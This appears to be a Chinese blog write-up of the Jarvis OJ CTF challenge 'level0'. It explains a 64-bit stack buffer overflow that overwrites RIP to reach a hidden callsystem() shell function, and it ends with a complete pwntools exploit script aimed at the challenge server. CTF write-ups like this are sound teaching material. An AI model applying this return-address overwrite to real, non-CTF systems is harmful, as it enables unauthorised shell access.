其实我pwn很菜的啊,大佬看见别喷我,希望喜欢二进制的朋友们一起讨论
level0 这是最简单的pwn了,其实就是RIP覆盖,准确来说应该是EIP,但是64位环境只有RIP,给出栈的图示
![](http://blog.lich.xin/wp-content/uploads/2019/05/-e1558355147961.jpg)
s表示需要填充的起始位置,接下来给出源码中的主要函数
![](http://blog.lich.xin/wp-content/uploads/2019/05/图片.png)
首先是main函数
![](http://blog.lich.xin/wp-content/uploads/2019/05/图片-1.png)
发现调用了vulnerable_function()函数,接下来是这个
![](http://blog.lich.xin/wp-content/uploads/2019/05/图片-3.png)
最后是没被调用的callsystem()函
![](http://blog.lich.xin/wp-content/uploads/2019/05/图片-4.png)
我们发现此处可以getshell,可是我们运行程序之后,发现除了helloworld还有一个输入,没有其他反应,这会儿就要RIP覆盖去调用函数,在vuln函数我们发现buf到RBP是0x80个字节,那么加上填充RBP就是0x88个字节,接着就是calsystem函数的地址了,这个地址可以从IDA中得到
![](http://blog.lich.xin/wp-content/uploads/2019/05/图片-5.png)
也就是再用p64对0x400596打包就好接着给出脚本
from pwn import *
context.log_level = 'debug' # 调试模式
p = remote("pwn2.jarvisoj.com",9881) # 连接pwn环境
payload = "A" * 0x88 # 填充空间到RBP
payload += p64(0x400596) # 接上callsystem()地址的64位打包
p.send(payload) # 发送payload
p.interactive() # 进入交互模式远程操作
![](http://blog.lich.xin/wp-content/uploads/2019/05/15583564301.png)